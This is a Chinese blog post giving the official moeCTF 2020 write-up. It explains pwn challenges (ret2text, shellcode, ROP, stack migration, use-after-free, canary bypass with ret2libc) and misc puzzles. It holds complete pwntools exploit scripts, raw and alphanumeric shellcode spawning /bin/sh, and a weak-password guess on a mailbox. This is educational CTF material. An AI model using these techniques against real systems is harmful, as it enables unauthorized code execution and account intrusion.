锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

【CTF题解NO.00003】moeCTF 2020 - official write up by arttnba3

时间:2022-11-24 06:00:01 100tjr4电连接器

github pages blog addr

文章目录

  • [github pages blog addr](https://archive.next.arttnba3.cn/2020/09/07/【CTF题解-0x03】moeCTF2020-write-up-by-arttnb3/)
  • 0x00.绪论
  • 0x01.Pwn
    • Pwn从入门到入狱
    • Welcome
    • Baby Pwn - ret2text
    • Baby Shellcode - shellcode
    • unusual shellcode - Alphanumeric Shellcode
    • ROP1 - ret2text
    • ROP2 - ret2text
    • baby migration - stack migration ret2shellcode
    • Hard shellcode - ret2shellcode
    • easycpp(已下线) - Use After Free
    • baby canary - canary partial overwrite ret2libc
  • 0x02.Misc
    • 简 单 的社工题
    • 不 会 吧 ? 就 这 ?
    • A3FXCK
    • ⑨完美算术教室
    • 闪 电 风 暴
      • hint-1
      • hint - 2
      • hint - 3
      • hint - 4
      • EXTRA:快捷解法

0x00.绪论

很荣幸能和RX大哥和带师傅一起出来了moeCTF2020年的题目,也希望所有做题的人都能快乐XD

闲话不多说,点击查看问题

注:原题可直接在本页下载
注2:CSDN缓存外链图片的机制以及markdown编辑器很烂,建议我去github pages阅读博客

0x01.Pwn

Pwn从入门到入狱

注:0基请仔细阅读这份文件

你可以在文件的末尾看到白色的flag

image.png

moectf{PWN_T0_0WN!} 

Welcome

nc,提示Please fill me up,考虑到栈溢出,直接输出一长串随机字符串获取flag

moectf{W3lc0m3_t0_tH3_w0r1d_0f_PWN!} 

Baby Pwn - ret2text

点击下载-pwn1

在IDA很容易看到字符串溢出漏洞

同样,我们可以看到.text可以利用段存在backdoor()函数,很容易知道这个问题可以通过栈溢出覆盖返回地址backdoor()函数以getshell,是一个非常经典的ret2text

相对于rbp的偏移量为0x40 8 = 72

[外链图片存储失败,源站可能有防盗链机制,建议保存图片直接上传(img-v8bLvyMW-1605852471151)(https://i.loli.net/2020/08/06/DqfQil7cmT6xIrS.png)]

故构造如下payload

from pwn import * p = process('pwn1')#p = remote('sec.eqqie.cn',10003) pl = 'A'*72   p64(0x400676) p.recv() p.sendline(pl) p.interactive() 

[外链图片存储失败,源站可能有防盗链机制,建议保存图片直接上传(img-8umNN50M-1605852471153)(https://i.loli.net/2020/08/01/JplCRSkxYLyEDKO.png)]

moectf{a0e65c41-fe8a-4db9-a070-f6593a5858c3} 

Baby Shellcode - shellcode

点击下载-baby_shellcode

拖进IDA可以看出,本地只有一个输出语句和一个输入语句

我们可以看到,当程序读入我们的输入时,我们试图直接将我们的输入作为代码执行,因此我们可以直接构建它getshell的shellcode输入即可

使用**asm(shellcraft.sh())**可直接获得一段shellcode

[外链图片存储失败,源站可能有防盗链机制,建议保存图片直接上传(img-zDOO4UZe-1605852471154)(https://i.loli.net/2020/09/15/kB9NEsTiAfwXSnz.png)]

moectf{D0_yoU_kN0w_she11c0d3?} 

unusual shellcode - Alphanumeric Shellcode

点击下载-unusual

首先是惯例checksec

[外链图片存储失败,源站可能有防盗链机制,建议保存图片直接上传(img-e7AkMaN6-1605852471155)(https://i.loli.net/2020/10/08/cdTow3X5p6WUAHk.png)]

随机地址除外以外其他的都开满了

拖入IDA进行分析

v7是一个函数指针,并被分配到了0x1000大小的内存空间

程序会从输入流逐字节读入最大4096个字节写入到v7所指向的空间上,且限制输入仅能为字母或数字否则终止输入

输入结束后尝试执行函数指针v7

那么我们直接输入一段shellcode即可getshell

但是限制了输入只能是数字和字母,常见的shellcode都包含一些其他字符

这个时候我们可以尝试百度XD

得知一种叫做Alphanumeric Shellcode的东西www

具体参见:https://www.freebuf.com/articles/system/232280.html

首先从GitHub上随便找一个轮子

$ git clone https://github.com/TaQini/alpha3.git

然后编写生成我们的shellcode的脚本

# sc.py
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

输出重定向至文本

$ python sc.py > sc

使用轮子生成alphanumeric shellcode

$ python ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00

连接服务端,发送我们的alphanumeric shellcode,成功getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EqOPdPUi-1605852471157)(https://i.loli.net/2020/08/10/b5Ru7PmDZasA1jI.png)]

得到flag

moectf{Y0u_kn3w_tH3_a1ph4num3r1C_she1lc0de!}

ROP1 - ret2text

点击下载-rop1

ROP即为Return-Oriented Programming ——返回导向编程, 是一种可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)的高级的内存攻击技术。

其主要思想是在**栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。**所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ctf-wifi:Basic ROP

首先在Linux下使用checksec指令分析,发现其开启了栈不可执行保护

将程序拖入IDA分析,发现存在gets函数,很明显存在栈溢出

我们尝试将断点下在call _gets,即0x40087f的地以计算偏移量

$ gdb
$ file rop1
$ b *0x40087f
$ r

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c4FSXCcr-1605852471160)(https://i.loli.net/2020/08/06/oQREW8CdHIU59ai.png)]

lea rax, [rbp-0x80]我们可以看到该字符串为基于rbp的索引,故其相对于返回地址的偏移即为0x80+8,也就是128个字节再加上8字节的rbp,之后就是函数的返回地址

因此我们构造的payload基础模型应当是:

target_addr = p64(addr_of_target)
payload = b'A'*128 + target_addr

然后我们就应该开始寻找需要用的**gadget(程序小片段)**了

一般来说只要找到system("/bin/sh")就可以getshell了

然而我们不难看出,程序中虽然存在着system函数,但是却是system("eqqie")。。。

因此很明显我们不能直接返回到这个函数的地址上

但是这也告诉我们有system函数的gadget,接下来只需要再找到/bin/sh字符串就可以凑出system('/bin/sh')

我们很容易在.data段找到"/bin/sh"

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J3nlrhnp-1605852471161)(https://i.loli.net/2020/08/06/8jlm6eZaWA1uMx5.png)]

与32位程序所不同的是,64位程序参数首先通过rdi,rsi,rdx,rcx,r8,r9这六个寄存器进行传递

那么我们只需要先在rdi寄存器内写入"/bin/sh"的地址再调用system函数即可getshell

但是我们直接找似乎找不到pop rdi

别慌www,在IDA内我们可以找到一段指令是

pop r15

按下D展开变成数据

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MweYCMDQ-1605852471163)(https://i.loli.net/2020/08/06/XFxkV5w7uSKMmRG.png)]

再按下C变成指令

得到指令:

pop rdi
retn

于是我们就成功得到了改变rdi寄存器的gadget的地址

接下来我们就可以构造payload了

from pwn import *
p = process('rop1')#p = remote('sec.eqqie.cn',10004)

pop_rdi = p64(0x400933)
sh_addr = p64(0x601070)
call_sys = p64(0x4007df)

payload = b'A'*136 + pop_rdi + sh_addr + call_sys

p.recv()
p.sendline(payload)
p.interactive()

连接服务器,使用我们的payload来getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8cpZDjgz-1605852471165)(https://i.loli.net/2020/08/06/yPLIicR9daTVWB8.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZIW106n1-1605852471167)(https://i.loli.net/2020/08/06/1fT5rBh23v6sayX.png)]

得到flag

moectf{67d14388-9052-4182-869c-5e5f0cdac4e5}

注:也可以使用工具ROPgadget来寻找gadget

Linux下,上面寻找gadget的步骤也可以如下:

$ ROPgadget --binary rop1 --string '/bin/sh'

$ ROPgadget --binary rop1 --only 'pop|ret'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-npDmpaTd-1605852471170)(https://i.loli.net/2020/08/06/tLToxVk8Cz19ARP.png)]

参考资料:https://www.cnblogs.com/ichunqiu/p/9288935.html

ROP2 - ret2text

点击下载-rop2

首先使用checksec指令,发现其存在栈不可执行保护

拖进IDA,我们可以看到这一题和ROP1基本上没有太大的不同,都是直接存在gets函数的溢出漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rWJKzO9R-1605852471171)(https://i.loli.net/2020/08/06/CYwqLfMRsyBxHK1.png)]

以及system函数的gadget和pop rdi的gadget

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PO0wXuoM-1605852471172)(https://i.loli.net/2020/08/06/tHY6GJM3NWE8jUk.png)]

不同的是,这一次并没有给我们预留下可以利用的"/bin/sh"字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eTHdqJ9u-1605852471173)(https://i.loli.net/2020/08/06/BsmoxyjT8bOnvuh.png)]

那么我们是否可以手动读入/bin/sh字符串呢?答案是肯定的

首先存在gets()函数可以读入字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ny39nbnH-1605852471174)(https://i.loli.net/2020/08/09/vxIF8c1b4ATqtQW.png)]

其次我们在IDA中按下CTRL + S,可以看到存在一个可以供我们读写的.bss

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ENHutBRb-1605852471174)(https://i.loli.net/2020/08/09/hdC8S9FJGPBUbQl.png)]

那么我们只需要将/bin/sh字符串读到这个段上,再将之作为system函数的参数即可getshell

那么我们可以构造payload如下:

from pwn import *

e = ELF('rop2')
gets_addr = p64(e.symbols['gets'])
sys_addr = p64(e.symbols['system'])
pop_rdi = p64(0x400933)
bss_addr = p64(0x601080)#也可以用 e.bss() 快速获取可读写.bss段地址

payload = b'A'*136 + pop_rdi + bss_addr + gets_addr + pop_rdi + bss_addr + sys_addr

p = process('rop2')#p = remote('sec.eqqie.cn',10005)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

连接服务器,发送我们的payload,即可getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CYIrnW68-1605852471175)(https://i.loli.net/2020/08/09/fIoZyxE7F5biUQz.png)]

得到flag:

moectf{d44bc3cb-471b-4906-822b-ea5cb32c4acb}

Tips:

pwntools里的ELF模块可以帮助我们快速找到一些需要的地址

#basic usage
from pwn import *
e = ELF('file_name')	# name of the file you're going to pwn

e.symbols['func_name']	# to get the address of function-calling instruction quickly

e.bss()					# to get the address of a readable and writable 
						# bss address quickly

e.plt['func_name']		# to get the address of function-calling instruction
						# of function in .plt table quickly
						# usually the same result with symbol['f_name']
        
e.got['func_name']		# similar with the former one, which used to get .got table

baby migration - stack migration + ret2shellcode

点击下载-baby_migration

首先是惯例的checksec

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VRYytlMC-1605852471176)(https://i.loli.net/2020/08/24/4HjdZqlBKp1fIrG.png)]

四舍五入保护全关

拖入IDA进行分析

我们可以看到存在栈溢出,可供溢出字节为66-0x30=18个字节,也就是说基本上只够覆盖rbp(8字节)+返回地址(8字节),空间十分拥挤,同时程序里也没有能够直接利用的gadget

但是我们可以观察到在bss段有极大的可读写空间

故考虑栈迁移,将栈迁移到bss段再放上我们的shellcode

构造exp如下:

from pwn import *

offset = 0x30
bss = 0x404060
back_to_gets = 0x4011c8

sc = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload1 = b'A'*offset + p64(bss+500) + p64(back_to_gets)
payload2 = sc + b'A'*(offset - len(sc)) + p64(bss+500) + p64(bss+500-offset)

p = process('./baby_migration')#p = remote('sec.arttnba3.cn', 10002)
p.recv()
p.sendline(payload1)
sleep(1)
p.sendline(payload2)
p.interactive()

运行脚本即得flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Uwy0UFA-1605852471179)(https://i.loli.net/2020/08/24/gY1Fxk7GERTjSBr.png)]

moectf{5tack_m1gr@ti0n_1s_e4sy!}

以下内容来自arttnba3.cn:

如何将一个栈劫持到别的地方?栈迁移的运行原理究竟是?

做了那么多的pwn题(指moeCTF2020刚刚开始做(👈把这个家伙拖出去🔨了)),我们都知道在构造栈溢出的rop链时不仅要算上栈原本所分配的空间的大小,还要算上ebp/rbp寄存器所占用的4/8个字节,之后才到函数的返回地址,这是因为在一个函数启动时,会先将ebp/rbp的值压入栈中,之后将指向栈顶的esp/rsp寄存器的值赋给ebp/rbp寄存器,随后通过ebp/rbp寄存器来实现对栈的访问

同样的,有压栈同样就会有出栈来恢复ebp/rbp与esp/rsp的值,我们都知道在函数运行到末尾时,会执行leaveretn两条指令

其中leave指令便是用来恢复栈帧的指令,它等价于如下指令:

;ebp & esp in 32-bit
mov rsp, rbp
pop rbp

由于对栈的访问都是通过ebp/rbp进行的,那么我们不难想到,只要我们在溢出时覆写掉栈内储存的原ebp/rbp的值在retn指令返回后程序所判定的栈基址其实就变成了我们所覆写上的那个地址,之后程序在调用栈上的变量的时候其实都是基于我们所覆写上的新的栈基址进行操作的了,相当于把栈劫持到另一个地方,所以又叫栈劫持

Hard shellcode - ret2shellcode

点击下载-hard_shellcode

首先是惯例的checksec

保护全关,似乎整挺好

不过这题的分值比rop2还要高100分,小心为妙XD

拖入IDA看看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kAOQCDmF-1605852471184)(https://i.loli.net/2020/08/09/GdmDsjEnXpBqobO.png)]

我们可以看到,读入0x50个字节,buf大小为0x40,存在栈溢出

但是溢出大小只有0x10个字节,甚至无法放下一段完整的能用以getshell的shellcode,算上覆盖掉RBP的八个字节,返回地址的八个字节后,我们一无所有XD

还是看看有没有什么可以利用的gadget吧XD

我们不难找到在IDA中直接有一段代码标注着_gadget,看得出来这段代码很想被我们利用www(

注:找寻可利用的gadget也可以用工具ROPgadget,命令如下:

$ ROPgadget --binary hard_shellcode --ropchain

我们不难想到,当我们输入完0x50个字节时,程序运行到返回地址返回到某个代码段后,rsp指向返回地址的高一个字节

若是返回至gadget:0x4000ea:

执行push rbp后,rsp = 原rsp - 8

执行mov rbp, rsp; sub rsp, 8后, rsp = 原rsp-16

执行jmp rsp后程序会尝试执行rsp上的代码,即原rsp-16位置上的代码

这个位置便是我们输入时所覆盖掉的RBP的位置

那么我们在这个位置上便有8个字节的空间可以写上我们的shellcode

同时我们想到,前面还有64个字节的空间,完全可以装得下一段getshell的shellcode

我们只需要先在前面写上getshell,再在8个字节的空间中写入修改rsp的值并再次跳转至rsp即可getshell(rsp与我们的输入的偏移量是可知的)

故得exp:

from pwn import *

context.arch = 'amd64'

sc = asm(shellcraft.sh())
sub_rsp = asm('sub rsp, 64')
jmp_rsp = asm('jmp rsp')

gadget_addr = p64(0x4000ea)

payload = sc + b'A'*(64-len(sc)) + sub_rsp + jmp_rsp + b'A'*(8-len(sub_rsp)-len(jmp_rsp)) + gadget_addr

p = process('hard_shellcode')#p = remote('sec.eqqie.cn',10002)
p.sendline(payload)
p.interactive()

向服务器发送payload,成功getsgell

得到flag:

moectf{Ni_HA0_q1ang_a!}

easycpp(已下线) - Use After Free

注:本题因为一些原因在比赛过程中下线了

点击下载-easycpp
点击下载-libc.so.6

首先是惯例的checksec

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IChdU9zk-1605852471186)(https://i.loli.net/2020/08/09/tpZQ1nE5oaGdsRX.png)]

我们可以看到,和前面几题不同的是这个程序是一个32位的程序

拖入IDA进行分析

用到了一个名为B的类,我们先看看这个类都有些啥

IDA中类B有一个构造函数B()和一个print()函数

类B的构造函数如下:

类B的构造函数首先调用了类A的构造函数,然后将变量_vptr_A设置为一个函数指针

我们不难看到在0x80489E4位置上我们还需要再跳转一次到0x80488F2的位置,这个位置上有一个B::print()函数,故可知这是一个二级函数指针

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PNZ9yCw5-1605852471189)(https://i.loli.net/2020/08/09/7ILSlb95q12Dfny.png)]

我们再来看看类A的构造函数,如下:

类A的构造函数也是将变量_vptr_A设置为一个函数指针

位于off_80489F0上的函数为A::print()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ypRWh444-1605852471189)(https://i.loli.net/2020/08/09/5qF6acIEWUGOvZ7.png)]

接下来是main函数的简单分析:

v3、v4都是一个类型为类 B的指针

首先setvbuf()函数将程序设置为无缓冲输入

之后创建了一个类B的实例并将地址给到指针v3和v4

之后将该实例内的变量_vptr_A的值设为0

之后使用delete释放掉之前分配给v3、v4的内存

之后从标准输入流读入1024个字节到buf(或许有操作空间?)

之后调用strbuf()函数重新分配一段内存空间并将buf的值拷贝一份(当然最后并没有指针接收这一块内存,那么它会成为野内存吗?)

最后重新调用v4的函数指针变量所指向的函数

那么我们在这里就可以发现一个漏洞:

v3、v4所指向的内存空间被释放后v3、v4并没有被设置为NULL,在运行到strdup()函数时若是我们给到buf的输入长度在一定范围内,这一块内存空间会被堆管理器重新分配给strdup()函数,而之后又通过v4再次对这一块内存空间进行调用,很明显存在**UAF(Use After Free)**漏洞

同时我们可以发现存在一个backdoor()函数直接调用了system("/bin/sh"),可以直接getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-knathcyE-1605852471191)(https://i.loli.net/2020/08/09/dPJUXZ6M9kx8RnN.png)]

故我们只需要覆写掉函数指针所指的函数为backdoor()函数即可getshell

构造二级指针的结构应为

buf buf+4
右边那一块的地址 -> 指向backdoor函数的地址

buf的地址如下:

故得exp如下

from pwn import *

context.log_level = 'debug'

p = process('easycpp')#p = remote('sec.eqqie.cn', 10007)

backdoor = 0x80487BB
buf = 0x804A0C0

payload = p32(buf + 4) + p32(backdoor)

p.sendline(payload)

p.interactive()

向服务器发送payload,成功getsgell

得到flag:

moectf{Ev3ryth1ng_c@n_be_cPP!}

参考资料:

ctf-wikf:Use After Free

baby canary - canary + partial overwrite + ret2libc

[点击下载-baby_canary](/download/moectf2020/pwn/baby canary/baby_canary"点击此处下载原题")

[点击下载-libc.so.6](/download/moectf2020/pwn/baby canary/libc.so.6"点击此处下载原题")

首先是惯例的checksec

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tdZFbK2G-1605852471192)(https://i.loli.net/2020/08/29/wtnmcLYru4OTdgs.png)]

除了地址随机化以外都开了,这也是唯一一道需要我们绕过canary保护的题

当然,看名字我们就知道这题肯定要考canary(

首先拖入IDA进行分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-m1vT0Hjj-1605852471193)(https://i.loli.net/2020/08/29/lAEmSNwFPbVyfop.png)]

唯一的一个可塑的输出点是printf,我们考虑构造长度为0x4c-0xc+1的padding覆写掉canary的最高位字节\x00,这样程序在调用printf函数时便会输出canary的值

也就是partial overwrite

那么我们的第一条payload就出来了:

payload1 = b'A'*(0x4c-0xc+1)

之后程序在输出完我们的输入之后还会再输出一些东西,而其中的前三个字节便是canary的低三位字节

故我们考虑使用以下代码得到canary:

p.send(payload1)
p.recvuntil(payload1)
canary = u32('\x00'+p.recv(3))

得到了canary的值之后我们就可以尽情地溢出了

同时我们可以发现不存在可以直接getshell的system函数或是/bin/sh字符串

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kQA79TJr-1605852471194)(https://i.loli.net/2020/08/29/ZN8SXe5KECDAnJI.png)]

题目给出了libc.so.6文件,故考虑ret2libc,构造rop链先将函数返回至puts,输出puts函数的真实地址(储存在got表中),之后计算出libc的基址,再计算出libc中system函数与/bin/sh字符串的真实地址,最后构造rop链执行system("/bin/sh")即可getshell

故最终构造exp如下:

from pwn import *

p = remote('sec.arttnba3.cn',10003)
e = ELF('./baby_canary')
libc = ELF('./libc.so.6')

puts_got = e.got['puts']
puts_plt = e.plt['puts']

p.recv()
payload1 = b'A'*(0x4c-0xc+1)
p.send(payload1)
p.recvuntil(payload1)
canary = u32(b'\x00'+p.recv(3))
p.recv()

payload2 = b'A'*(0x4c-0xc) + p32(canary) + b'A'*(0xc-4) + p32(0xdeadbeef) + p32(puts_plt)+ p32(e.sym['main']) + p32(puts_got)

p.send(payload2)
p.recvuntil('flag!\n')

puts_addr = p.recv(4)

puts_addr = u32(puts_addr)

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
sh_addr = libc_base + libc.search(b'/bin/sh').__next__()

p.send(payload1)
payload3 = b'A'*(0x4c-0xc) + p32(canary) + b'A'*(0xc-4) + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.send(payload3)
p.interactive()

运行exp,成功getshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iYxblUoE-1605852471195)(https://i.loli.net/2020/08/29/v7Kau1Bop9rckdU.png)]

得到flag

moectf{W0w_Y0u_c@n_e5cap3_fr0m_c4nary!}

0x02.Misc

简 单 的社工题

提示贴吧,我们来到moectf吧,发现这样一个帖子

没有额外的信息,于是我们来到发帖人的主页面,发现发帖人只关注了一个人

我们来到这个人的主页面看看

没有收获,我们又查看他所关注的贴吧

从下往上看是:923431ourmail.

推测应该是一个邮箱,但是点的后面的域名不清楚

百度ourmail得到ourmail.cn,于是我们知道了一个叫做ourmail的东西XD

在ourmail搜索923431@ourmail.cn,果然有

没给密码,推测是弱口令,尝试了几个弱口令得到加群密码a123456

进入后发现这样一个邮件:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6iSELC2U-1605852471196)(https://i.loli.net/2020/08/09/o6kIlzaSBTD8Vs2.png)]

发帖人叫/s,邮件内容是address: 1O9JFcsUyqQ7T85WXmHH6nQ,还回了个a3cj

/s/address很明显是百度网盘链接的格式

输入pan.baidu.com/s/1O9JFcsUyqQ7T85WXmHH6nQ,果然得到了一个分析文件的链接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2n65GITx-1605852471198)(https://i.loli.net/2020/08/09/M6dEt8lkYCz3XFm.png)]

我们将a3cj作为提取码输入,成功获得文件,下载,解压得如下文本:

bW9lY3RmJTdCdzB3X1kwdV9jNG5fZjFuZF9tM19vdVQlMjElN0Q=

比较明显的base64特征,解密,得到flag:

moectf{w0w_Y0u_c4n_f1nd_m3_ouT!}

不 会 吧 ? 就 这 ¿

老阴阳人le

图片改后缀zip解压得文本如下

不会吧? 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 不会吧? 就这¿ 
就这¿ 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿ 
不会吧? 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿ 
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 就这¿ 
不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿ 
就这¿ 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 
就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 就这¿ 
就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿ 
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 就这¿ 
不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 不会吧? 就这¿ 就这¿ 
就这¿ 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿ 
就这¿ 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 
不会吧? 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿ 
不会吧? 就这¿ 就这¿ 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 就这¿ 
就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿ 
就这¿ 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 
不会吧? 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿ 
不会吧? 不会吧? 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 就这¿ 
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 就这¿ 

文本中只有不会吧?就这¿,推测是二进制

每行长度都是八个词,末尾都是“就这¿”,ASCII码的二进制最高位都是0,故推测是ASCII码逆序

工具人手动转码结果如下:

10011010
00001100
10101110
11111010
11101110
00010110
00101100
00101110
11111100
10110100
00001100
01110110
10001100
10011110
11111010
00101110
00010110
10001100
11001010
11111100

逆序后转成数字就是

89
48
117
95
119
104
52
116
63
45
48
110
49
121
95
116
104
49
83
63

对照ASCII码表即得flag:

moectf{Y0u_wh4t?-0n1y_th1S?}

A3FXCK

惯例的图片后缀名改zip解压得到这样一个文本文档

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tnXfIpH2-1605852471200)(https://i.loli.net/2020/10/08/La7GHyJqUgs8Ypk.png)]

开头第一行提示123456对应[]()+!,而文本中存在luoq1anarttnba2arttnba3luoqi4narttnba5arttnba6,故考虑进行字符串替换

得到如下文本

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]<

相关文章